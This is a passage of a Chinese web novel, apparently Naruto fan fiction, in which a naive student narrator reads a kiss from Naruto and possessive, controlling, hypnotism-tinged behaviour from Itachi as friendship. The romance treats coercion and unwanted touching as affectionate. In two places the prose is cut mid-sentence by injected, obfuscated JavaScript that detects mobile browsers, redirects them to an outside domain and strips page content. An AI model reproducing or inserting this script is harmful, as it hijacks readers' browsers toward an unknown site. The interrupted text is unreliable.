之前为了进入宇智波集团实习,我精心准备了简历,随同简历一起发过去的还有一份企划案,是通过木叶文化祭来宣传月之眼的营销案。为了尽善尽美,我在那时查阅了大量木叶文化祭的资料,也因此得知了一件尘封很多年的往事。 那是在木叶建校第一年发生的事,当时的学院长主办了文化祭活动。对社会游客也开放的大型文化祭吸引了许多人前来,但在文化祭第一天的晚上,施工质量不过关的展台倒塌,许多游客被压在废墟下。 搜救行动持续了半个月,有不少人因此受伤,死难者也有数位,这件事在当时轰动一时。甫建校的、朝气蓬勃、百废待兴的木叶校名因此蒙上一层阴霾,被多方攻讦指责,政府施压。 第一代学院长创办的、期望能够流传百年的文化祭也从此一蹶不振,直到多年后才小规模重开,因其口碑爆棚,逐年演变成如今的大规模活动。 这件事过去太久,又被木叶高层一力隐瞒。如果不是特地去搜索,加上我是木叶的学生,在校内有便利的途径,或许很难知道这件往事。 “啊,居然才两点!”我沮丧地把棋子往前挪了两格,“鸣人是想提醒我吧,谢谢你,我知道这件事的。这是完全可以避免的人祸。正是因为担心悲剧重演,我最近每天都去那里盯着工程队施工,有不合格的地方当场就让他们整改,一定能将展台建得坚不可摧,不会再发生那样的惨事!就连斑先生也夸奖我已经变得越来越能独当一面了!” 鸣人很捧场地鼓掌说:“好厉害!” 小樱把骰子接过去,掷了个五点,随口问道:“斑?你之前提到的那个上司?” 我有时会和朋友在即时通讯软件上聊工作上的事。小樱和鸣人知道几位和我熟悉的同事与上司。 我点了点头:“没错,他是个温柔又体贴的好人,总是夸奖和鼓励我。” 小樱抬起眼睫,好奇道:“他怎么夸你?” 我随便说了几件和斑先生相处的日常,比如他经常摸摸我的头,夸奖我已经可以成为他的新娘之类的。不知道为什么,随着我的诉说,小樱脸上的表情变得十分凝重。她先是看向鸣人,发现鸣人纳闷地回望她,她又恨铁不成钢地瞪了鸣人一眼,气呼呼扭过头,有些焦虑地看了眼佐助。 青年捏着骰子,侧了下脑袋,对我投来淡淡的一瞥。 他好像不太高兴。 “都很普通吧?”我迟疑地说,“带土先生也经常这样夸我,还说他来养我也可以。明美前辈语气很复杂地说,‘能得到上司的青睐也是件好事,至少你的仕途不用像我这样辛苦’。” “啧……一个两个的……”小樱咬着嘴唇,一丝阴霾闪过翠绿色的宝石般的眼睛,陷入沉思,“稍微不注意,碍事的虫子就冒出来了……” 气氛变得有些古怪。 只有不会看气氛的鸣人大声催促着佐助快点掷骰子。 “这两个人都是你的朋友?”佐助忽然问。 “没错。”这是肯定的吧,我和上司们已经是一起吃过平民茶泡饭的友谊了。到这种程度还把对方当作陌生人,也太过分了,“我们经常一起吃午餐呢。” “……轻浮的女人。你的朋友未免也太多了。” 他冷淡地抱着双臂,盯着我,黑瞳深处翻涌着自己被欺骗愚弄的怒火,紧紧咬着牙。 我好像把今天的主角佐助惹生气了,他的脸色阴沉沉的。但不知道他为什么没有拂袖离去,而是一脸等着我来哄的隐忍模样。 我十分纳闷。 只是朋友而已,身为木叶大学的学生,四处结交朋友,和朋友一起共享午餐,不是很普通的一件事吗? 朋友又不是丈夫,只能有一个。 但是佐助也是我重要的朋友之一,我不希望因此令他不快。 于是我凑过去,乱七八糟说了一些和好的话,想要让他不要生气。原本佐助已经被我哄好了,但我可能有点得意忘形,离开的时候又说错话了,被他一把拉过来,拨开头发,恶狠狠地在后颈咬了一口。 “不遵守承诺的家伙!”他恶狠狠地说。 噫好痛! 报复心好强的猫猫。被咬过的地方,用手指摸上去有刺痛感,牙印凹陷,简直就像某种标记。 明明被咬着的是后颈,却连带着食指指根隐隐抽痛。 全程好像只有我和鸣人在认真玩飞行棋,小樱和佐助都不知道在想什么,盯着我的脸,心事重重地拧着眉。 结果反而是这两个心不在焉的人好运气地赢下了飞行棋,垫底的我被发配出去买等下要喝的饮料,其他人留下来帮玖辛奈和水门打下手。 对料理一窍不通的鸣人眯起眼睛,深沉严肃地盯着厨房想了想,自告奋勇举起手要跟我一起去,帮我搬饮料,我当然十分欢迎。 鸣人家附近几百米就有一家便利店,在路上,我和鸣人提起这件事。 “到底是为什么呢?”我百思不得其解,“小樱鸣人也好,佐助也好,斑和带土也好,都是我的朋友啊。” “对啊对啊,”鸣人说,“朋友当然是越多越好啊!” 就是说啊!朋友越多越气派! 得到了挚友的肯定,我的心里踏实多了。但我还有一个疑问,今天忽然想起来。 “说起来,鸣人……” “嗯嗯?” 我简单讲了下那天的经过:“我不明白佐助为什么会忽然亲上来,朋友之间是可以随便亲亲的吗?” 基本的异性之间交往的常识我当然明白,但是进入木叶大学念书之后,在周围人的耳濡目染之下,我对“挚友”一词有了新的理解。 在木叶,为了重要的朋友,哪怕牺牲自己的性命,手脚全部断掉也无所谓,更别说区区亲亲小事。很多事情都可以用“因为我们可是挚友啊!”来解释。 而鸣人又是木叶大学里面最擅长交朋友的,我来请教他肯定没错。 便利店在这条商业街的正中央,附近新开了家写真馆,给客人提供拍照化妆租衣等服务,路过写真馆的时候,我们被时尚靓丽的店主塞了一张传单。 鸣人停下脚步,摸着下颌用力思考:“嗯……怪不得那天你的嘴巴红红的,还破掉了。” “是呢。”我心有余悸地说,“他亲得超级激烈超级用力的,我的舌头都痛了。” “但是,”鸣人思考着说,“我记得你是在那之后,才和佐助成为好朋友的吧?” 我想了想,点了点头:“没错,是在纲手老师那里。” “嗯……唔……” 鸣人摆出超努力思考的模样,眼睛眯起来,猫胡须皱在一起。他做高数题的时候都没有这么认真。 我耐心地等待着,顺便看了下写真馆的传单。 鸣人忽然发出茅塞顿开的声音,用力抓着我的肩膀,蓝眼睛闪闪发亮:“我知道了!!” “嗯嗯??” “哈,我已经完全明白了!”鸣人右手成拳,重重敲在左手掌心,爽朗地笑着说,“异性之间当然不能随便亲亲,但是如果是挚友就没关系了!因为那可是挚友啊!” “欸?” “这是火之意志的体现!”立志要成为下一代火影的鸣人振振有词,“佐助要和你建立成为挚友的羁绊!” “佐助想要……”我不太确定地呢喃着,“和我建立成为挚友的羁绊……?” “没错!”鸣人自信地说,“我和佐助从小就一起长大,那个闷葫芦从来不把心里话说出口,当初也是我拼命追上去死缠烂打,才和他建立了羁绊。因此,如果佐助想和你成为挚友,又不知道该怎么表达,他就会使用一些比较过激的肢体接触作为手段。我是不是超级 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071189|178054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聪明?!” “唔……”我想了想,发现鸣人的逻辑好像能说得通,“那如果经常奖励我糖果,手指在我的嘴巴里黏糊糊地搅来搅去,一直捏着舌头玩来玩去,把我滴下来的口水全部舔掉。这样也可以吗?” “咦?”鸣人好奇地说,“佐助还对你做过这种事?” “是带土先生,我的上司之一。”我说。 鸣人摸着下颌思考:“这样啊……我不知道耶。你们是挚友吗?” “应该算是吧?” “既然是挚友,那就没问题了!”鸣人一锤定音。 原来如此,无论多么奇怪的行为,只要是挚友就没问题了啊! “强行抱着我一起睡觉也可以吗?”我说,这是斑先生做的,“那时候还不是挚友,后面才成为挚友的。这样也行吗?” “只要是挚友就可以了,”友学家鸣人表情严肃地判断道,“很多人我在第一面就想和对方成为一生的挚友,可往往要过很长一段时间,对方才能接受我成为他的挚友。但是,难道在对方不接受我的这段时间,我就能对自己放松要求,不把对方当作挚友看待了吗?不!挚友之间的宝贵羁绊,可不是能被区区否定就轻易打破的存在!” 原来如此! 我瞪大眼睛,犹如醍醐灌顶,恍然大悟。 我被说服了! 鸣人真的太聪明了! 既然鸣人因为我开学时主动问他要不要帮忙,就要和我做一辈子的挚友。那这几位宇智波只是随便和我说了两句话,或者压根只是看了我一眼,就也要和我做一辈子的挚友,那也没什么不对! 我是木叶大学的大学生,我们这里的挚友情都是这样的。 我完全理解了,原来这几个宇智波的这些奇怪行为,是要和我做挚友啊! 太好了,通过和鸣人的交谈,我感觉自己对“挚友”一词有了更加深入的了解,与大家之间的羁绊也更深刻、更牢不可破了。 见状,旁边一直在听的写真馆店主也发出“我超懂木叶挚友情”的声音:“你们也是一对好挚友吧!” “是啊!”鸣人紧紧握住我的手,笑容灿烂,“我们关系超好的。” “我看你们俩的外形条件,很适合做模特……”店主殷勤地说,“我们写真馆刚开业,还需要几张照片挂出来做宣传。不知道你们二位有没有时间?” 我和鸣人对望了一眼:“什么宣传?” 店主打开宣传单,指着上面业务那一栏:“我们这里可以拍情侣写真,单人写真,家庭写真……当然挚友之间也能拍写真,我一眼就看出来你们俩之间有强烈的羁绊,拍出来的照片一定充满着挚友情。希望你们能够帮我这个忙。” “可以是可以,”但我们是临时出来买饮料的,没有太多时间,我想了想说,“要多久呢?” “很快的,”店主扛起相机,“我希望拍摄你们最自然的状态,请做你们自己的事,我在后面跟拍就好。” 原来是街拍那种形式的写真。 鸣人一向乐于助人,和我商量以后,就同意了拍摄。我们就这样走去便利店买了饮料,作为答谢,写真馆的店主帮我们付了账。 等我们重新走回写真馆,店主已经拍到了不少满意的照片。 我们正要告别,鸣人忽然弯下腰,一只手拎着饮料,在我的嘴唇上啄了一下。 一触即分。 短暂得像是错觉。 ——咔嚓。 店主抓拍了这个瞬间。 “咦?”我眨眨眼睛。嘴唇上残留着温热的、太阳般温暖的气息。 “那个……”鸣人像是自己也不明白自己做了什么,抓了抓自己的后脑勺,有些困惑地说,“不知道为什么……听到你和你的那些挚友有更加亲密的接触,我就、就感觉……” 他咕哝着,不太确定地说:“我比他们认识你都要早啊……我也应该、应该可以吧……我们也是挚友啊……心脏,好奇怪,有点难受,我是怎么了?” 他看起来有些混乱? “鸣人?”我担心地靠近他。 瞳孔猛地收缩,他捂着心口,下意识后退几步,仿佛我是什么洪水猛兽。 我有点受伤地看着他。 旁边的店主及时打断了我和鸣人之间越来越古怪的氛围,让我们留下邮箱,她之后会把照片的电子档发给我们。 我和鸣人就那样沉默着走回了家。 玖辛奈妈妈的寿喜锅很美味,只是嘴唇上残留着她的儿子留下的味道,让我有些心不在焉,好几次都差点把用作调味料的生姜塞进嘴里,被小樱提醒才反应过来。 小樱来回看了一言不发的、沉默的我和鸣人几圈,忽然踹了鸣人一脚。 “好痛!”鸣人捂着腿大叫道,“你做什么啊小樱!” “鸣人是大笨蛋!”小樱生气地说。 佐助在旁边冷笑了几声,给我夹了一片煮好的牛肉。 “谢谢。”我连忙说,蘸了生蛋液塞进嘴里,吧唧吧唧吃掉了。 牛肉鲜美柔嫩,混合着甜鲜的酱汁,令人胃口大开。 “哎呀,现在的年轻人真是充满活力又可爱。让我想起了我们当年呢……”玖辛奈笑着说,“妈妈是站在你这边的噢,加油啊鸣人!” 玖辛奈妈妈注视着一切,捂着嘴,眼睛弯起来。波风先生则是露出了“我家的笨蛋狐狸也长大了啊”的欣慰微笑。在这样奇怪的氛围中,这对大人倒是诡异的和乐融融。 那之后,我和鸣人有好几天都没有联系。即使是在朋友们的群组里聊天,也很少回话彼此。私人聊天框内,只有公事上的消息。 往常总是率先破冰,主动出击的鸣人,这一次不知道为什么,罕见地沉寂了。 但是,既然鼬是佐助的哥哥,二人有相同的血脉关系。那么,在想要建立成为挚友的羁绊这方面,想必鼬先生也是这样的做法吧。 怯于言语,因此用行动告诉我他的心意——想要成为挚友。 可能姓宇智波的男人都是这样腼腆内向,感情真挚热烈,不善于用言语表达的温柔性格吧。 我懂的,我已经完全理解了鼬先生的想法! 21.第 21 章 21、 既然如此,我也要做出属于自己的回应! 我用力亲了回去,笨拙地学着鼬的动作。 宇智波鼬:“……?” 鸦羽般浓密的睫毛在他眼底落下帷幕般浓重的阴影,鼬的眼睫颤了颤。绮丽的花纹颤动着,眼底倒映着我的脸。 他像是不太明白我在做什么,又像是难以置信。平安夜收到了圣诞礼物的流浪儿,反复确认自己是否在属于好孩子的礼物名单上。 他试探性地与我交缠了一会儿。 舌尖很温柔。 我再接再厉。 “……” 他的眼睛微微睁大了一下,露出了有些动摇的表情。红瞳盯着我,完全没有再动了,眼里渐渐翻涌出来晦暗不明的海潮。他慢慢松开了手,似乎想看我要怎么做。 摆出一副引颈受戮的脆弱模样。 他五官出色,容貌相当漂亮,有种脆弱易折,玻璃般锋利危险的美。 充满蛊惑性。 像是引诱飞蛾的火光。 被捏过的腰肢和髋骨依旧很痛,我忍耐着,反客为主,轻轻将他压在圆桌上。漆黑的长发柔顺地流淌下来,他的肌肤苍白得病态。 我回忆着,慢慢舔了舔他的嘴唇。 他的呼吸变得有些紊乱。喉结滚动着。 我撑在他的脑袋两侧,对他露出一个灿烂友好的笑容:“鼬先生的心意……呼,我已经完全感受到了……” 舌头被咬破了,舌根也很疼,我说话并没有自己想象中那样中气十足,听在耳朵里反而有些黏黏糊糊,混合着气喘吁吁的沙哑,和吞咽过多口水时的呛音。 简直就像在哑声哭泣。 “我也……嗯,我也很希望可以和鼬先生做朋友……”我喘着气说,“报答的话也太沉重了,呼……如果这样能让您、你好过一些——呼,我想吃咖喱饭,自从工作以后就没有自己做过了。想吃热气腾腾刚出炉的咖喱饭,不是便利店里黏糊糊的难吃便当……” 鼬抬起手指,慢慢碰了下自己湿润的嘴唇,那双猩红色的眼球转动过来,看了我一下。他平静地说:“你已经知道我的心意了啊……” “是!”我哑着嗓子说,“鼬先生的心意已经好好地传达过来了。我完全感受到了,鼬是想与我建立深刻的羁绊吧?鼬先生是好人,关心我还给我做饭。也是我的朋友佐助的兄长,朋友的朋友当然也是朋友。我也很喜欢鼬,想要和你建立羁绊!” 我直起身,伸出手,将他搀扶起来:“我的心意有好好传达到吗?”我有点不好意思,“我还是第一次做,有不熟练的地方还请多包涵……” “没关系,我明白你的意思了,”猩红色的眼睛紧紧盯着我握着他小臂的手掌,鼬慢慢地、轻轻地笑了下,低着头,只能看到一点鸦羽般浓密乌黑的睫毛,令人有点发毛的低沉清冷声音传出来,“以后可以多练习,我会帮你的。” 我的新朋友真是好人呀! 鼬抬起头,漂亮到诡谲恐怖的红眼睛盯着我看了会儿,慢慢地说:“你提醒我了,为了往后的和谐健康家庭关系着想,的确要先适应彼此的饮食习惯,我们才能长久和幸福……明天去买咖喱饭的材料。” 明天本来就只打算用睡大觉和打游戏消耗时间,改成出门买食材也完全没问题。我点头:“好呀好呀,鼬的厨艺很棒,我很期待!” 他盯着看了我一会儿,淡淡道。 “我也很期待我们的未来……我不希望那些族里的家庭悲剧在我们身上重演,大多数族人在与伴侣走到一起之前,都没有考虑要如何与心爱之人度过余生。做出决定的时机太糟糕,总是为了不值一提的小事争吵。囚禁、操纵与控制。掠夺、欺骗与幻术,错误地使用这些本该有效用的手段,让珍贵的爱人流下眼泪。明明是相互爱着彼此的,只是有一方太过迟钝,总是不能明白自己对丈夫的心意,顽固地拒绝对方的靠近。但我们不会那样,你已经完全明白了自己对我的感情,我们是两情相悦的……” 他蹲下身,用衣袖将我脸上的口水眼泪全部擦干净:“与你在一起的每一秒钟……都如此珍贵……” 我对他紧张地笑了下,他猛地呼吸一滞,眼睫剧烈颤抖。鼬抬起手,紧紧将我抱在怀里。有些微微发抖,似乎在压抑什么。 肋骨在挤压下发出咯吱咯吱的恐怖声音。 好痛……我皱着眉,脸颊紧紧贴着他的胸膛。 清冷的香气。 他比我想象中力气要大,完全不像个重病缠身的男人。 鼬克制地收紧手臂,轻声低语:“……尽管我会判断需要采取必要手段的时机,但我希望能够更加珍惜地对待你……你能明白自己对我的心意,省掉了很多麻烦的事……” 我背后有点毛毛的。 他原本……要对我做什么吗? 鼬好像,很高兴的样子。尽管抱得我有点疼,我也皱着眉尽量忍耐。 我迟疑地伸出手,试探性地回抱住他。他的身体猛地僵硬了一瞬间,又缓缓软化下来。 “稍微,幸福到让我有点苦恼的程度了,你这孩子,真是太狡猾了……心脏已经跳动到让我感到痛苦了,真是爱捉弄人的坏孩子,可爱到想要把你关起来,只能捉弄我一个人……”他嗓音低哑颤抖,压抑着什么。 男人的指腹暧昧地摩擦着我刺痛的唇瓣,缓慢低哑地说:“三色团子有些太甜了,下次我会注意减糖。” “……是、是?” 我想,可是三色团子,几乎都是我吃掉的,他为什么会知道味道? 而且他是不是若无其事说了什么有点恐怖的话? 之后我做了一会儿工作,就被鼬赶去洗漱睡觉。 鼬虽然从不生气发怒,表情总是淡淡的。但说出来的话,让人下意识服从。 难得的休息日,我稍微奢侈地泡了澡。普通平民勤俭持家的生活经验:将灌满水的矿泉水瓶丢进浴缸,提高水位线,就能节约一部分用水。是从奶奶那辈就传下来的节省办法。 只是我现在是独居,泡澡过的热水没办法一家人一起洗,只能浪费掉。 想着可以第二天用来洗衣服,我就暂时保留在了浴缸里。 但在我擦着头发走出浴室的时候,意外发现鼬还没有离开,他很自然地在沙发上看书,就像这里是他的家一般,姿态很放松。 在灯光下,黑发男子的侧脸线条曲线十分漂亮。睫毛又密又长。 鼬听见我出来的声音,把书放到一边,拿起早就准备好的吹风机,拍了拍自己身前的空位,让我坐过去。 可是已经很晚了……? 我正准备问他今晚什么时候离开。 “鼬,你——” 鼬抬起鸦羽般浓密的眼睫,绮丽到诡异惊悚的红眼睛看着我。 大脑一片空白。 我完全忘记自己要说什么,晕乎乎地走过去坐下来,苍白的手指在发间穿梭,按摩着头皮,吹风机吹着呼呼的热风。我昏昏欲睡,努力思考家里这台崭新的吹风机是什么时候买的,完全没有印象。 帮我吹干头发,鼬就也去洗漱了。 我在第二天,没看见浴缸里的水,大概是被鼬用完以后放掉了。 吹干头发,我躺在床上,准备偷偷玩一会儿养成游戏,就看见鼬推开门很自然地走了进来。 养成游戏的可爱小黑猫正在和我喵呜喵呜撒娇。 我立刻做贼心虚地把手机塞到枕头下面装睡。 我:“……?” 奇怪……我为什么会心虚呢? 睡眠灯是昏黄色的,洗漱完,头发散发着和我一样洗发露香气的鼬平静地掀开被子,躺进来,紧紧抱住我,埋在我的发顶,呼吸我身上的味道。一套动作十分流畅丝滑,就像做过千百次。 他体型纤细修长,将我裹在怀里。偏低的体温就像是一层玉。 我听见匀长平缓的呼吸。 刚来木叶大学念书的时候,我还没有找到公寓,最初一个月,收留没地方住的我的人,是那时候新认识的朋友鸣人。 那段时间,我就是睡在鸣人家的客房。每天都能吃到玖辛奈妈妈的早餐。 鸣人是我来东京交到的第一个好朋友。只是因为我主动帮助了他,他就掏心掏肺地递出善意。让初来乍到,对这座钢铁之都陌生恐惧的我感到了第一份温暖。 所以,我也应该传达这份善意,收留我无家可归的新朋友。 紧绷的身体慢慢放松下来,我逐渐被袭来的困意覆盖。 睡过去之前,隐隐约约有什么地方,让我感觉有些不太对劲。 但是,很快就忘记了。 第二天早上,鼬做了美味又丰盛的早餐。 总是麻烦鼬做饭,我有些不好意思,心里暗暗把新朋友宝贵的心意记牢。准备日后回赠礼物。 吃完饭,我本来想在家打游戏,可是当着自律又克己的鼬的面,我实在不好摆出那副懒散又不修边幅的模样,于是便把专业书拿出来看。 学无止境,接手的工作越多,越明白自己的浅薄无知。要努力学习才行。 投入地看了很久书,笔记也做了满满几十页,我这才揉着酸痛的肩膀抬起头。 鼬在我对面,乌沉沉的眼睛盯着我。不知道盯了有多久。 距离近得让我感到害怕。 和佐助一样,就像安静的猫科动物。 “久等了,鼬。”压下恐惧乱跳的心脏,我有些不好意思地说,学习起来时间就过得很快,“稍微有点忘记时间了,我们出门吧?” 说是去买食材,其实更像是在附近的商业街逛街。 绿化带里小树发了新芽,人行道上杂草顶破了碎砖钻了出来。微风吹过脸颊,晨跑锻炼的老人路过我们又停下,眼睛从鼬身上扫过去。 “这是……?” 老人是与我一个公寓楼里的,平时会遇上,算得上点头之交。但是他不认识鼬。 我正准备介绍,鼬十分自然地握住我的手,打断了我。他将五指不容拒绝地插进我的指缝,一根一根,黏腻又缠绵地束缚着,丝丝缕缕般缠紧我,对老人礼貌地点了下头。 老人像是明白什么,目光在我们两个人的衣服上扫过,笑着点点头,对我说:“要幸福啊。” 衣服是鼬准备的,款式相似,只是颜色大小不同,是要好的挚友之间会穿的吗?我完全没有购买的印象。 “我会做到的。”鼬握紧我的手,承诺道。 我:“呃……谢谢?” 这个时间段,超市里的人并不多。选购食材时得以十分从容。除了咖喱块、土豆、牛肉、洋葱等咖喱饭要用到的食材,也额外购置了不少生活用品和零食。 饮料区摆着巨大的人形立牌广告,我一看是自己了解的演员,就十分开心地对鼬解释道:“这个这个!我认识!” “噢?” 鼬脾气很好,总是很有耐心,推着购物车,和我一边逛一边聊天。 我也因此知道鼬工作上的一些困扰,还有佐助小时候的一些趣事。 感觉和鼬更亲近了。 “这个是之前很流行的电视剧里的男主角!”我说。 是明美前辈推荐给我的,明美前辈是资深晨间剧专家,她说多看这些电视剧或许能让我变聪明点。 “圆滑地利用你的优势吧,明明能很轻松地靠着那群废物男人得到各种资源,笨蛋!”明美前辈戳了戳我的额头,有点恨铁不成钢。 我就这样看了很多女主角被各式各样的阴暗沉重系帅哥缠上,原本健康阳光的人生坠入泥潭,从此变得黏糊糊湿答答的悲惨故事。 这也是其中之一。 因为男女主都十分美型,在网络上热度很高。讲述的是女主角被一对可怕的偏执狂兄弟俩缠上的阴暗不伦故事。 “明美前辈是哥哥派,”我说,“她喜欢病弱系啦。爱理是弟弟派,她比较爱阴暗年下款。” 边说边步入货架,三位主演代言的是货架上的一款汽水,有白桃味、橙子味和柠檬味。 “那你呢?”鼬淡淡地问。 他伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092236|178054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出手,把一罐白桃味汽水放进购物车。 罐身上,哥哥演员的卡通形象正坐在巨大的Q版桃子前,看起来十分可爱。 鼬喜欢白桃味吗? 他好像是甜党?昨晚和今早的点心都是甜食。 和讨厌甜食的佐助完全相反。 明明是一家人。 “很难选择耶,”我皱起眉说,“女主角本来有志同道合的恋人,婚姻生活也很幸福。可是无意间被男主角和男配角看上,就这样被这对兄弟残忍地拆散了,还要被迫和兄弟两个出轨,发展地下不伦关系。” 只是想想,胃就开始痛起来了。 当作打发时间的电视剧来看的话当然没关系,要真的去思考里面的故事情节,只会让胃越来越痛。 鼬看了我一会儿,平静道:“还真是贪心。你想两个都要吗?” “与其说是两个都要,不如说两个都不想要吧?”我苦恼地思索着,“在遇到兄弟俩之前,女主角明明很幸福的。” “……我看不见得。”鼬冷淡地说,好像有点不太高兴。 他把那罐柠檬味的汽水也放进来了。 结账的时候,人多了起来。 鼬在排队,我去旁边休息区等他。没过一会儿,他就结完账过来了。 “今天好像是什么促销日,”我翻着旁边拿到的促销单说,这种大型超市隔三岔五会有促销活动,“有便宜点吗?” “嗯,”鼬淡淡地说,“送了电影券,晚上去看。” “你的运气好好呀,”我惊喜地说,“我从来都抽不中的。” 拎塑料袋的时候,我才后悔今天没有开车过来。和鼬聊天太开心,不小心买了太多东西。 我的脸都憋红了。 结果鼬一只手就拎起来了。 ……明明他看起来脸色苍白虚弱,时不时咳嗽几声。 旁边的路人发出超夸张的吸气声。 我也努力忍住震惊,跟他走出去:“会不会太重了,”我关心道,“要我帮忙吗?” 他摇了摇头,伸出空闲的那只手臂拦住我,绕了个圈,让我走到马路内侧去。 一辆汽车按着滴滴响的喇叭呼啸而过,吓了我一身冷汗。 鼬扭回头,面无表情盯着消失的汽车看了很久。 “怎么了?” “……没什么,”鼬冷冷地说,“一点碍事的虫子。” 这条商业街十分发达,有很多年轻人。街边种植着绿树。 离午餐时间还早,想到鼬似乎是甜食派,我问他要不要买点点心回家吃。 他同意了。气息很温和:“你把那称之为‘家’,”他说,眼神有些复杂和怀念,落在我身上时很柔软,“……我已经很久没有那种东西了。” 想到他过去的经历,我抿紧嘴唇。 卖点心的店铺里有各种各样漂亮的和食,最顶上的电子屏滚动着优惠促销信息。 因为这里是木叶大学附近,促销信息大多与学生有关。这家店铺也是一样,出示学生证能够打折。 大约是临近一年一度的盛大文化祭,为了吸引社会上的客人,还额外增加了一条:如果是一起来购买的挚友或情侣,也能够享受折扣。 不愧是木叶大学附近的店铺,对挚友也有折扣。 “我想要这款樱饼,还有这款最中和大福,每样都请给我两个,包起来带走。”我抬起头,对店员笑着说,“辛苦您了,谢谢!” 鼬低下头,忽然在我脸颊上吻了下。 “对了,请给我们折扣。”我认真地补充。 节约金钱无小事。 店员在我和鼬之间来回看了几圈,尤其在我脸上多停顿了几秒,大概是辨认我们之间属于挚友的羁绊吧。很快就笑着点头道:“二位很般配呢,这位小姐是模特吗?” 我愣了一下。 “啊,不是的。”我说。 店员很快结账完打包递给我们:“那或许是我认错了。”她笑着说,“您看起来有些面熟。” 没过一会儿,我就明白店员所说的面熟是什么意思了。 商业街开张不久的写真馆挂出了巨幅照片作为广告。樱树下穿着和服的漂亮女性、夕阳下幸福温暖的家庭照、彼此相望的甜蜜情侣照。还有…… 鸣人亲吻我的照片。 金发青年英俊阳光,蓝瞳里萦绕着迷惘与挣扎,轻吻落在眼睛微微睁大,有些措手不及的我的嘴唇上。 店主之前给我发了那天所拍照片的电子档,有很多精彩的抓拍瞬间。不知道为什么,最终选择展出的却是这一张。 时不时有驻足观看的行人,做出善意的祝福和憧憬发言。 “看起来好甜蜜呀。” “是呀是呀,模特之间的那种粉红泡泡。有种初恋的青涩感觉,这家店拍得真好啊。” “……” 鼬慢慢低下头,平静地注视着我。 他的样子让我感到十分恐惧,几乎是一瞬间,我的整个后背起了一层冷汗,汗毛耸立,鸡皮疙瘩爬满手臂。 我几欲拔腿狂奔。 “鼬……鼬?”我紧绷的声音有些颤抖。 他慢慢笑了下,抬起手,摸了摸我脸颊旁的发丝,帮我把肩膀上沾到的树叶丢掉。 只是一些看起来很平常的举动,表情也很平静。但是—— 好恐怖。 好可怕好可怕好可怕好可怕。 莫名其妙的,双腿发软,呼吸急促。眼泪不受控制地分泌。 “咕呜……哈啊……” 我差点无法站稳。 鼬扶住了我,手臂很稳,手指与其说是抓住,不如说是藤蔓般死死缠在我的身体上。 “你在这里干什么……”鼬冷淡地说。 生锈的大脑卡壳了两秒,我才反应过来,鼬正看向我的身后。 我流着冷汗,艰难地转过身,鼬也平静地说出最后一声招呼。 “佐助?” 购物袋最上层的两罐汽水滚动着,嘭,轻轻撞在了一起。 22.第 22 章 22、 两位宇智波现在正在我家里。 我这辈子没遇见过压迫感这么强的场面。 我战战兢兢把茶杯放到桌子上,小心翼翼把屁股落在椅子上,只敢坐个边边,连大气也不敢喘。 佐助穿着靛蓝色巡查制服,黑色马甲束着上半身,在漂亮的腰线处窄窄一收。背后印着警视厅的白字。干练又英俊,宽肩窄腰,白手套,挽起来的衣袖下露着一截劲瘦小臂,赏心悦目,一路上有不少人对着他的背影吹口哨。 进了室内,他已经摘下警帽手套,放在手边。方才进电梯时我瞥了一眼。他的腰臀线性感迷人,制服裤裹着青年又长又直的双腿,纤细的侧腰配着M60转轮手枪、警棍、手铐、对讲机等。 的确让人很想吹口哨。 老实说,一路走回来,这对兄弟之间紧绷压抑的焦灼气氛,我还以为佐助要么一声令下,围过来十七八个警察把鼬抓起来。要么佐助怒火攻心,掏出枪直接来场美式居合。 警匪电视剧里都这么演啊!! 以免在母校附近发生血案,我硬着头皮,愣是挤进这两个人之间,发挥毕生情商打圆场。 结果佐助只是来这边巡查的。 木叶大学的文化祭即将开始,届时大量游客涌入,他所在的小队负责期间的安保工作,巡查部长提前安排人员巡逻护卫,佐助也是其中之一。 原来和我一样是可怜的苦劳社会人,我在心里默默产生了同病相怜之情,感觉和佐助心灵之间的距离更加近了。 现实生活果然不会像电视剧那样惊险可怕。这里又不是德州。 一路有惊无险。 除了佐助旁敲侧击问了下怎么回事,在我说起写真馆的事情后,轻轻转了下眼珠子,淡淡地看了我一眼的鼬,有点让我不知怎的,手臂上爬满鸡皮疙瘩,胸口有些难以呼吸的憋闷。 “你和他关系很亲密吗?” “鸣人是我的好朋友,”我讷讷地说,口干舌燥,不停吞咽唾液,用手背擦了下脸上的冷汗,“在我刚来东京的时候,鸣人帮了我很多。” 奇怪,今天的温度不高啊。出了好多汗。 心跳特别快,呼吸忍不住变得急促。 尤其是被鼬注视的地方,简直像有无数根细密的冰针刺入肌肤。密密麻麻的刺痛令人如芒在背。 鼬淡淡地看着我,慢慢道:“漩涡家的那孩子,小时候经常来家里找佐助玩,我也是见过的。那家伙想和一个人做朋友,通常很难拒绝。真是辛苦你了。” 鼬平静地说着往事。停下脚步,拿出手帕,仔细地帮我把脸颊滑落的汗水擦掉。 呼吸越发难受了。 空气里的氧气仿佛变得十分稀薄。 鼬接触到的地方简直像有电流似的,带来阵阵诡异酥麻的麻痹感。 手脚发软。 我微微喘着气,含糊不清地说:“谢谢你,鼬。手帕弄脏了吗?我洗完还给你。” 他冷淡地对我摇了下头:“不用。” 鼬脸色苍白,他顺势用手帕按着毫无血色的嘴唇,深呼吸几口,蹙起眉,闷闷地轻咳了两声。接着,把手帕收了回去。 